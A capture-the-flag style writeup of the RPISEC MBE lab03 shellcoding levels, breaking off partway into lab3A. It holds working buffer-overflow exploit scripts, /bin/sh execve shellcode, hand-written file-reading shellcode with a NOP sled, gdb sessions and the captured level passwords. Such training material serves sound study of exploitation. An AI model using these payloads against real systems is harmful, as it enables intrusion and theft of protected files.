RPISEC/MBE: writeup lab03 (Shellcoding)

The last writeup for RPISEC/MBE lab02 dealt with the subject of Memory Corruption. We used different buffer-overflow vulnerabilities to execute a predefined function shell, which kindly spawned a shell for us. In real life there usually isn’t such a function, we can simply call. Thus we have to inject our own code. Accordingly the next lab described in this writeup brings up the topic of Shellcoding.

Yet again there are three levels ranging from C to A:
–> lab3C
–> lab3B
–> lab3A


lab3C

We start by connecting to the first level of lab03 using the credentials lab3C with the password lab03start:

gameadmin@warzone:~$ sudo ssh lab3C@localhost
lab3C@localhost's password: (lab03start)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Sat Jan 27 04:47:50 2018 from localhost

In this lab we will have access to the source code like in lab02:

lab3C@warzone:/levels/lab03$ cat lab3C.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */

char a_user_name[100];

int verify_user_name()
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strncmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 byes */
    printf("********* ADMIN LOGIN PROMPT *********\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0){
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: \n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0){
        puts("nope, incorrect password...\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

What does the program do?
–> At first there’s a prompt for a username (line 27).
–> The call to fgets on line 28 reads a maximum of 0x100 = 256 bytes into a_user_name.
–> The function verify_user_name (called on line 31) compares the first 6 characters of the user-input with rpisec.
    – If the comparison fails, the program quits with EXIT_FAILURE.
    – If the comparison succeeds, another prompt for a password is printed (line 38).
–> The 2nd call to fgets on line 39 reads a maximum of 0x64 = 100 bytes into a_user_pass.
–> The function verify_user_pass (called on line 42) compares the first 5 characters of the user-input with admin.
    – If the comparison fails, the program quits with EXIT_FAILURE.
    – If the comparison succeeds, the program quits with EXIT_SUCCESS.

As you may have noticed there are two overflow vulnerabilities. The first call to fgets on line 28 reads a maximum of 256 bytes. The buffer used (a_user_name) is only 100 bytes long. Another thing to notice here is that the buffer a_user_name is defined at global scope. Also the second call to fgets on line 39 may cause an overflow. The buffer used (a_user_pass) is 64 bytes long, but the call to fgets reads a maximum of 100 bytes. The variable a_user_pass is defined at the local scope of the function main.

So we have got two buffers we could overflow. In addition to the size these buffers differ in their location within the binary.
a_user_name is defined at global space. These kind of variables are stored within the .data section for initalized variables and within the .bss section for uninitalized variables. As a_user_name is not initalized it’s stored in the .bss section. We can verifiy that using r2:

[0x08048640]> iS
...
idx=23 vaddr=0x08049c0c paddr=0x00000c0c sz=8 vsz=8 perm=-rw- name=.data
idx=24 vaddr=0x08049c20 paddr=0x00000c14 sz=132 vsz=132 perm=-rw- name=.bss
...
[0x08048640]> is~a_user_name
vaddr=0x08049c40 paddr=0x00001c40 ord=070 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=a_user_name

The command iS prints all sections and is displays all symbols. As we can see the symbol a_user_name is located within the .bss section.

Because a_user_pass is defined as a local variable of the function main, it is stored on the stack as we have seen with other local variables in the previous labs.

Which buffer can we use for what purpose?
–> Only a_user_pass can be used to overwrite the return address because a_user_name is not stored on the stack
–> Because ASLR is disabled yet and a_user_name is stored at a static location, we can use it for the shellcode we want to execute

We could also store our shellcode within a_user_pass but it’s more difficult to determine the exact location of a_user_pass since it is stored on the stack and the stack addresses may vary depending on the environment. Thus the address of a_user_pass identified by using gdb could be not the same as if the binary is directly executed.

overwrite return address

As we have already figured out, a_user_pass is stored on the stack and can be overflowed by 100 – 64 = 36 bytes. This should suffice to overwrite the return address of the function main. In order to set the return address to a value of our desire we have to know the offset from the buffer to the return address. As in the last lab this can be done by using a long enough pattern to overflow the buffer and see which memory-address caused a segmentation fault.

The program only reads a password, if the username’s first 6 bytes equal "rpisec". I wrote a little python-script to create our input to the program:

lab3C@warzone:~$ cat /tmp/pattern.py
import sys

print("rpisec")

for i in range(26):
  sys.stdout.write(chr(i+0x41)*4)

On line 3 the username is printed in order to bypass the function verify_user_name. The loop on lines 5-6 prints 4 characters of each character within the the alphabet ("AAAABBBBCCCCDDDD...").

After we have stored the input in a temporary file /tmp/out3C we can start up gdb and run the binary with the input:

lab3C@warzone:/levels/lab03$ python /tmp/pattern.py > /tmp/out3C
lab3C@warzone:/levels/lab03$ gdb lab3C
Reading symbols from lab3C...(no debugging symbols found)...done.
gdb-peda$ r < /tmp/out3C
Starting program: /levels/lab03/lab3C < /tmp/out3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password:
nope, incorrect password...


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x52525252 ('RRRR')
ECX: 0xb7fd8000 ("\nope, incorrect password...\nername....\n")
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x53535353 ('SSSS')
EBP: 0x54545454 ('TTTT')
ESP: 0xbffff720 ("VVVVWWWWXXXXYYY")
EIP: 0x55555555 ('UUUU')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x55555555
[------------------------------------stack-------------------------------------]
0000| 0xbffff720 ("VVVVWWWWXXXXYYY")
0004| 0xbffff724 ("WWWWXXXXYYY")
0008| 0xbffff728 ("XXXXYYY")
0012| 0xbffff72c --> 0x595959 ('YYY')
0016| 0xbffff730 --> 0x1
0020| 0xbffff734 --> 0xbffff7b4 --> 0xbffff8d3 ("/levels/lab03/lab3C")
0024| 0xbffff738 --> 0xbffff754 --> 0x97afed87
0028| 0xbffff73c --> 0x8049c04 --> 0xb7e3c990 (<__libc_start_main>:     push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x55555555 in ?? ()

A segmentation fault is raised when accessing the address 0x55555555 (= "UUUU"). Now we can calculate the offset to the return address:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU...
----------------------------------------------------------------------------XXXX---
            (0x55-0x41)*4   =     80 bytes                            return address

Thus if we write 80 bytes + the address of our shellcode to a_user_pass, the shellcode will be executed when the function main returns.

shellcode

The next thing to do is to choose a shellcode and store it at an address we know.

As for now we don’t write our own shellcode and just take a publicly available shellcode which fits our needs.

I took the following shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php which simply calls execve("/bin/sh"):

31 c0                 xor    eax, eax
50                    push   eax
68 2f 2f 73 68        push   0x68732f2f
68 2f 62 69 6e        push   0x6e69622f
89 e3                 mov    ebx, esp
89 c1                 mov    ecx, eax
89 c2                 mov    edx, eax
b0 0b                 mov    al, 0xb
cd 80                 int    0x80
31 c0                 xor    eax, eax
40                    inc    eax
cd 80                 int    0x80

On lines 3-4 the string "/bin//sh" is pushed on the stack. On line 8 eax is set to 0xb identifying the syscall sys_execve, which is called using an interrupt int 0x80 on line 9. The second syscall on line 12 calls sys_exit (eax = 0x1) to gracefully quit the program.

As we pointed out, we can store our shellcode in a_user_name. In order to bypass the verify_user_name check, the first 6 bytes of the buffer need to be "rpisec". Again we can use a python-script to generate our input to the program:

lab3C@warzone:~$ cat /tmp/input.py
import sys

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"\
            "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40"\
            "\xcd\x80"

print("rpisec" + shellcode)
print("A"*80 + "\x46\x9c\x04\x08")

Lines 3-4 define the shellcode we chose. On line 6 the input for the a_user_name buffer is defined. On line 7 we print 80 bytes to match the formerly calculated offset to the return address, followed by the address 0x08049c46. This address is simply calculated by taking the address of a_user_name we already figured out = 0x08049c40 + 6 bytes offset for "rpisec".

Now we can store the output of the python-script in a temporary file and run the program using the file as input:

lab3C@warzone:/levels/lab03$ python /tmp/input.py > /tmp/out3C
lab3C@warzone:/levels/lab03$ (cat /tmp/out3C; cat) | ./lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password:
nope, incorrect password...

whoami
lab3B
cat /home/lab3B/.pass
th3r3_iz_n0_4dm1ns_0n1y_U!

Done 🙂 The password for the next level is th3r3_iz_n0_4dm1ns_0n1y_U!.


lab3B

We connect using the credentials gained in the last level: lab3B with the password th3r3_iz_n0_4dm1ns_0n1y_U!:

gameadmin@warzone:~$ sudo ssh lab3B@localhost
lab3B@localhost's password: (th3r3_iz_n0_4dm1ns_0n1y_U!)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Sat Jan 20 21:21:46 2018 from localhost

Let’s have a look at the provided source code:

lab3B@warzone:/levels/lab03$ cat lab3B.c
#include <signal.h>
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/prctl.h>
#include <wait.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

/* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c */

/* hint: write shellcode that opens and reads the .pass file.
   ptrace() is meant to deter you from using /bin/sh shellcode */

int main()
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if(child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);

        /* this is all you need to worry about */
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        /* mini exec() sandbox, you can ignore this */
        while(1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status)){
                puts("child is exiting...");
                break;
            }

            /* grab the syscall # */
            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            /* filter out syscall 11, exec */
            if(syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}

The comment on lines 16-17 gives us a hint what this level is about: we have to write a shellcode which open and reads the .pass file. This time we cannot spawn a shell, because ptrace prevents us from using the syscall sys_execve.

As stated in the comments, the greatest part of the source code implements the prevention of calling sys_execve. The program forks a new process and the parent process (else-branch from line 37 onwards) uses ptrace to notice if the child tries to execute the syscall sys_execve (line 47). If sys_execve is called, the parent process kills the child process (line 53).

In the child process a message to enter shellcode is displayed (line 32) and gets is called to read a user input into the 128 byte long buffer (line 33). Obviously we can input a string longer than 128 bytes and thus overflow this buffer. Because the buffer is a local variable of the function main, it is stored on the stack and we can overwrite the return address of main.

At first let’s determine the location of the return address and then calculate the offset from our buffer. As in the last labs we can use a little python-script to generate the pattern:

lab3B@warzone:/levels/lab03$ cat /tmp/lab3B_pattern2.py
import sys

sys.stdout.write("X" * 128)

for i in range(10):
  sys.stdout.write(chr(i+0x41)*4)

The python script prints "X" 128 times to fill the buffer and then appends the pattern "AAAABBBBCCCC...".

We store the output of the script in a temporary file and then input the file to the program using gdb:

lab3B@warzone:/levels/lab03$ python /tmp/lab3B_pattern2.py > /tmp/out3B
lab3B@warzone:/levels/lab03$ gdb lab3B
Reading symbols from lab3B...(no debugging symbols found)...done.
gdb-peda$ r < /tmp/out3B
Starting program: /levels/lab03/lab3B < /tmp/out3B
[New process 8528]
just give me some shellcode, k
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 8528]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x45454545 ('EEEE')
ECX: 0xfbad2098
EDX: 0xb7fce8a4 --> 0x0
ESI: 0x0
EDI: 0x46464646 ('FFFF')
EBP: 0x47474747 ('GGGG')
ESP: 0xbffff720 ("IIIIJJJJ")
EIP: 0x48484848 ('HHHH')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x48484848
[------------------------------------stack-------------------------------------]
0000| 0xbffff720 ("IIIIJJJJ")
0004| 0xbffff724 ("JJJJ")
0008| 0xbffff728 --> 0xbffff700 ("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ")
0012| 0xbffff72c --> 0xb7feccea (<call_init+26>:        add    ebx,0x12316)
0016| 0xbffff730 --> 0x1
0020| 0xbffff734 --> 0xbffff7b4 --> 0xbffff8d3 ("/levels/lab03/lab3B")
0024| 0xbffff738 --> 0xbffff754 --> 0xb7c2f14f
0028| 0xbffff73c --> 0x8049e80 --> 0xb7e3c990 (<__libc_start_main>:     push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x48484848 in ?? ()

A segmentation fault is raised when accessing the address 0x48484848 ("HHHH"). We can now calculate the offset to the return address:


XXX ... 128 times ... AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
--------------------------------------------------XXXX
                  156 byte                    return address

The offset from the beginning of the buffer to the return address is 156 bytes.

With the output above we can also determine at which address the buffer is stored:

gdb-peda$ x/s 0xbffff700
0xbffff700:     "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
gdb-peda$ x/s 0xbffff680
0xbffff680:     'X' <repeats 128 times>, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"

As we can see the buffer is stored at 0xbffff680. This may vary when executing the binary without gdb, but it will still give us a point to start.

Since we have control over the instruction pointer now, we have to choose what we want to execute. In the last level we just used a prepared shellcode which calls execve with "/bin/sh". Since we are forbidden to use the syscall execve now, we have to write our own shellcode.

When writing shellcode we can use syscalls to interact with the operating system. In order to carry out the requested actions of a syscall the core of the operating system (the kernel) needs to execute privileged operations like directly accessing the hardware. Because of this the kernel usually runs in a higher privileged ring (ring 0) while ordinary user processes run in a lower privileged ring (ring 3). In order to switch from userspace to kernelspace a process uses an interrupt, which passes the control to an interrupt vector. In the case of a syscall on the x86-platform the interrupt 0x80 is used to pass the control to the kernel in order to carry out a requested syscall. As the kernel has to know which syscall should be executed and what parameters are to be used, the process has to set these parameters in the registers. The register eax defines which syscall should be executed. The registers ebx, ecx, edx, esi and edi are used to pass arguments to the syscall.

As we have already figured out, our shellcode should read the .pass file, which is located in the directory /home/lab3A/ and then print its contents.

An overview of the linux syscalls can be found here: https://syscalls.kernelgrok.com

Let’s start by writing our shellcode in c only using syscalls:

char buf[100];
int fd = open("/home/lab3A/.pass", O_RDONLY);
read(fd, buf, 100);
write(stdout, buf, 100);

That’s simply it. On line 1 we define a buffer where the contents of the .pass file should be read to. On line 2 the syscall open is used to open the .pass file and get a filehandle (fd) to the open file. This filehandle can than be passed to the syscall read in order to store the contents of the file in the buffer buf (line 3). As for now the contents are only within the buffer we have to print them using the syscall write on line 4.

Of course we could also compile our source code and extract the shellcode, but for learning purpose we want to manually write our shellcode in assembler.

There are a few things consider when writing assembler code:

In the above c source code we created a local buffer buf:

char buf[100];

As we have already seen in the last labs, local variables are stored on the stack. Thus we can create thus a local buffer like this:

  sub esp, 100
  mov ecx, esp		; buf

On line 1 100 is subtracted from esp. As the stack grows from bottom to top this is how we reserve 100 bytes on the stack. The top of the stack now points to the first byte of our buffer. Thus we can access the buffer using esp. On line 2 the buffer address is stored in ecx.

Another thing to consider are strings. In the c source code we just passed a constant string to the syscall open:

int fd = open("/home/lab3A/.pass", O_RDONLY);

In a binary such constant strings are usually stored in the data section. As for our shellcode we can just use the stack again to store such a string.

Before that we have to do some preparations. The string want to store is "/home/lab3A/.pass". We start by hex-encoding our string:

lab3B@warzone:/levels/lab03$ python -c 'print("/home/lab3A/.pass".encode("hex"))'
2f686f6d652f6c616233412f2e70617373

Values can be moved on the stack using the push instruction. We have to consider that only 4 bytes at a time can be pushed and that those 4 bytes are interpreted as a DWORD and thus are stored as little endian.

We start by splitting the hex-encoded string into groups of 4 bytes:

/ h o m  e / l a  b 3 A /  . p a s  s
2f686f6d 652f6c61 6233412f 2e706173 73

Now we convert these values to little endian:

m  o h / a l / e  / A 3 b  s a p .  s 
6d6f682f 616c2f65 2f413362 7361702e 73

And push the resulting values in reverse order since the start of the string has to be placed first in memory:

  push 0x73
  push 0x7361702e
  push 0x2f413362
  push 0x616c2f65
  push 0x6d6f682f

That’s it. After the execution of all push instructions esp points to the beginning of our string "/home/lab3A/.pass".

Combining all this we can write the final assembler code:

  segment .text
  global _start

_start:

  push 0x73
  push 0x7361702e
  push 0x2f413362
  push 0x616c2f65
  push 0x6d6f682f

  mov eax, 0x5		; 5 = sys_open
  mov ebx, esp
  xor ecx, ecx
  xor edx, edx
  int 0x80

  sub esp, 100
  mov ebx, eax
  mov eax, 0x3		; 3 = sys_read
  mov ecx, esp		; buf
  mov edx, 100
  int 0x80

  mov eax, 0x4		; 4 = sys_write
  mov ebx, 1		; stdout
  mov ecx, esp
  mov edx, 100
  int 0x80

On lines 6-10 the string "/home/lab3A/.pass" is pushed on the stack. The address of the string is moved to ecx (line 13), which is one of the arguments passed to the syscall open (lines 12-16). On line 18 esp is decreased by 100 in order to reserve space on the stack for a buffer passed as argument to the syscall read (lines 19-23). And finally the read buffer is printed using the syscall write (lines 25-29).

Now we can use nasm and ld to test our shellcode.

At first I created a .pass file with some secret content in the target directory on my local system:

root@kali:~# mkdir /home/lab3A
root@kali:~# echo "secret_content" > /home/lab3A/.pass

Next nasm and ld can be used to create a executable binary:

root@kali:~# nasm -felf -o shellcode.o shellcode.asm
root@kali:~# ld -melf_i386 shellcode.o -o shellcode
root@kali:~# ./shellcode 
secret_content
Segmentation fault

Great! The content of the .pass file is displayed. After that the program raises a segmentation fault because we don’t gracefully shut it down, but that should not matter for now.

Now we have to add our shellcode to the python script we used formerly to determine the location of the return address.

We can use r2 to extract the shellcode hex string from the binary we created:

[0x08048060]> pdf @ entry0
            ;-- section..text:
            ;-- _start:
/ (fcn) entry0 234
|   entry0 ();
|           0x08048060      6a73           push 0x73                   ; 's' ; 's' ; "hom\xb8\x05" ; section 1 va=0x08048060 pa=0x00000060 sz=73 vsz=73 rwx=--r-x .text
|       |   0x08048062      682e706173     push 0x7361702e
|     |||   0x08048067      686233412f     push 0x2f413362
|     |||   0x0804806c      68652f6c61     push 0x616c2f65
|     |||   0x08048071      682f686f6d     push 0x6d6f682f
|     |||   0x08048076      b805000000     mov eax, 5
|     |||   0x0804807b      89e3           mov ebx, esp
|     |||   0x0804807d      31c9           xor ecx, ecx
|     |||   0x0804807f      31d2           xor edx, edx
|     |||   0x08048081      cd80           int 0x80
|     |||   0x08048083      83ec64         sub esp, 0x64               ; 'd'
|     |||   0x08048086      89c3           mov ebx, eax
|     |||   0x08048088      b803000000     mov eax, 3
|     |||   0x0804808d      89e1           mov ecx, esp
|     |||   0x0804808f      ba64000000     mov edx, 0x64               ; 'd' ; "pashb3A/he/lah/hom\xb8\x05"
|     |||   0x08048094      cd80           int 0x80
|     |||   0x08048096      b804000000     mov eax, 4
|     |||   0x0804809b      bb01000000     mov ebx, 1
|     |||   0x080480a0      89e1           mov ecx, esp
|     |||   0x080480a2      ba64000000     mov edx, 0x64               ; 'd' ; "pashb3A/he/lah/hom\xb8\x05"
|     |||   0x080480a7      cd80           int 0x80
...

r2 can also print a buffer as a c-style declaration:

[0x08048060]> pc 73 @ entry0 
#define _BUFFER_SIZE 73
const uint8_t buffer[73] = {
  0x6a, 0x73, 0x68, 0x2e, 0x70, 0x61, 0x73, 0x68, 0x62, 0x33,
  0x41, 0x2f, 0x68, 0x65, 0x2f, 0x6c, 0x61, 0x68, 0x2f, 0x68,
  0x6f, 0x6d, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, 0xe3, 0x31,
  0xc9, 0x31, 0xd2, 0xcd, 0x80, 0x83, 0xec, 0x64, 0x89, 0xc3,
  0xb8, 0x03, 0x00, 0x00, 0x00, 0x89, 0xe1, 0xba, 0x64, 0x00,
  0x00, 0x00, 0xcd, 0x80, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xbb,
  0x01, 0x00, 0x00, 0x00, 0x89, 0xe1, 0xba, 0x64, 0x00, 0x00,
  0x00, 0xcd, 0x80
};

We have to adjust this a little bit to fit the python declaration and then finalize our python-script:

lab3B@warzone:/levels/lab03$ cat /tmp/lab3B_exploit.py
import sys

shellcode = "\x6a\x73\x68\x2e\x70\x61\x73\x68\x62\x33"\
            "\x41\x2f\x68\x65\x2f\x6c\x61\x68\x2f\x68"\
            "\x6f\x6d\xb8\x05\x00\x00\x00\x89\xe3\x31"\
            "\xc9\x31\xd2\xcd\x80\x83\xec\x64\x89\xc3"\
            "\xb8\x03\x00\x00\x00\x89\xe1\xba\x64\x00"\
            "\x00\x00\xcd\x80\xb8\x04\x00\x00\x00\xbb"\
            "\x01\x00\x00\x00\x89\xe1\xba\x64\x00\x00"\
            "\x00\xcd\x80"

sys.stdout.write("\x90"*(128-len(shellcode)))
sys.stdout.write(shellcode)
sys.stdout.write("\x90" * 28)

sys.stdout.write("\x80\xf6\xff\xbf")

On line 13 a nop-sled followed by our shellcode (line 14) is printed. This will fill the 128 bytes of buffer. As we have figured out, the offset of the return address is 156 bytes. That’s why we must print another 28 bytes (line 15) followed by the address we want to write to the return address (line 17).

Let’s give it a try:

lab3B@warzone:/levels/lab03$ python /tmp/lab3B_exploit.py > /tmp/out3B
lab3B@warzone:/levels/lab03$ ./lab3B < /tmp/out3B
just give me some shellcode, k

Nothing is printed :/ Our shellcode was obviously not executed. What the reason for this?

The address we used to overwrite the return address was determined when analysing the binary with gdb. Since gdb is running in another environment the stack addresses may vary when executing the binary directly. We can simply adjust the address a little bit:

#sys.stdout.write("\x80\xf6\xff\xbf")
sys.stdout.write("\x40\xf6\xff\xbf")

… and then retry our exploit:

lab3B@warzone:/levels/lab03$ python /tmp/lab3B_exploit.py > /tmp/out3B
lab3B@warzone:/levels/lab03$ ./lab3B < /tmp/out3B
just give me some shellcode, k
wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd
...

Nice! 0xbffff640 worked 🙂

The password for the next level is wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd.


lab3A

Let’s get to the last level of this lab. The credentials are lab3A with the password wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd:

gameadmin@warzone:~$ sudo ssh lab3A@localhost
lab3A@localhost's password: (wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Sun Jan 21 00:44:44 2018 from localhost

As usual the source code is located at /levels/lab03/:

lab3A@warzone:/levels/lab03$ cat lab3A.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

/* gcc -Wall -z execstack -o lab3A lab3A.c */

/* get a number from the user and store it */
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    unsigned int index = 0;

    /* get number to store */
    printf(" Number: ");
    input = get_unum();

    /* get index to store at */
    printf(" Index: ");
    index = get_unum();

    /* make sure the slot is not reserved */
    if(index % 3 == 0 || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for quend!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    /* save the number to data storage */
    data[index] = input;

    return 0;
}

/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
    unsigned int index = 0;

    /* get index to read from */
    printf(" Index: ");
    index = get_unum();

    printf(" Number at data[%u] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    /* doom doesn't like enviroment variables */
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to quend's crappy number storage service!  \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   quend has reserved some storage for herself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    /* command handler loop */
    while(1)
    {
        /* setup for this loop iteration */
        printf("Input command: ");
        res = 1;

        /* read user input, trim newline */
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        /* select specified user command */
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        /* print the result of our command */
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}

What does the program do?
–> In the main function (beginning on line 54) an unsigned int array called data is defined (line 58)
–> The array contains 100 elements (STORAGE_SIZE) which equals 400 byte (unsigned int = 4 byte)
–> Passed arguments to the program and environment variables are cleared (line 61-62). This prevents us from placing shellcode there.
–> The command handler loop (line 78) prompts the user to input a command, which is than executed.
–> There are three commands: store (line 90), read (line 92) and quit (line 94)
–> When store is entered, the function store_number on line 11 is called.
    – Within the function a number and an index can be entered (line 18, 22).
    – The number is stored at the index within the data array (line 35) if two conditions are met (line 25):
      + index modulo 3 should not equal 0
      + the most significant byte of number should not be 0xb7
–> When read is entered, the function read_number on line 41 is called and the value at a given index can be read.
–> When quit is entered, the loop as well as the whole program is quit.

The first question is: Where is a vulnerability within the program?

Within the function store_number an arbitrary index can be entered. The only condition is, that the equation index % 3 != 0 is fulfilled. There is no further boundary checking and we can thus write outside of the actual data array. As the array is defined as a local variable in the main function, it is stored on the stack and we can overwrite the return address of the main function.

overwrite return address

In order to overwrite the return address we have to determine where the buffer and the return address are located on the stack and then calculate the offset. This can be done using gdb:

lab3A@warzone:/levels/lab03$ gdb lab3A
Reading symbols from lab3A...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048a12 <+0>:     push   ebp
   0x08048a13 <+1>:     mov    ebp,esp
   0x08048a15 <+3>:     push   edi
   0x08048a16 <+4>:     push   ebx
   0x08048a17 <+5>:     and    esp,0xfffffff0
   0x08048a1a <+8>:     sub    esp,0x1c0
   ...
   0x08048b60 <+334>:   lea    eax,[esp+0x18]
   0x08048b64 <+338>:   mov    DWORD PTR [esp],eax
   0x08048b67 <+341>:   call   0x8048917 <store_number>
   ...
   0x08048c3a <+552>:   pop    ebp
   0x08048c3b <+553>:   ret
End of assembler dump.
gdb-peda$ b *main+341
Breakpoint 1 at 0x8048b67
gdb-peda$ b *main+553
Breakpoint 2 at 0x8048c3b

We set two breakpoints: The first one before the call to store_number because the address of data is passed as an argument and the second on at the ret instruction of the main function in order to determine the location of the return address.

Now we simply run the program:

gdb-peda$ r
Starting program: /levels/lab03/lab3A
----------------------------------------------------
  Welcome to quend's crappy number storage service!
----------------------------------------------------
 Commands:
    store - store a number into the data storage
    read  - read a number from the data storage
    quit  - exit the program
----------------------------------------------------
   quend has reserved some storage for herself :>
----------------------------------------------------

Input command: store

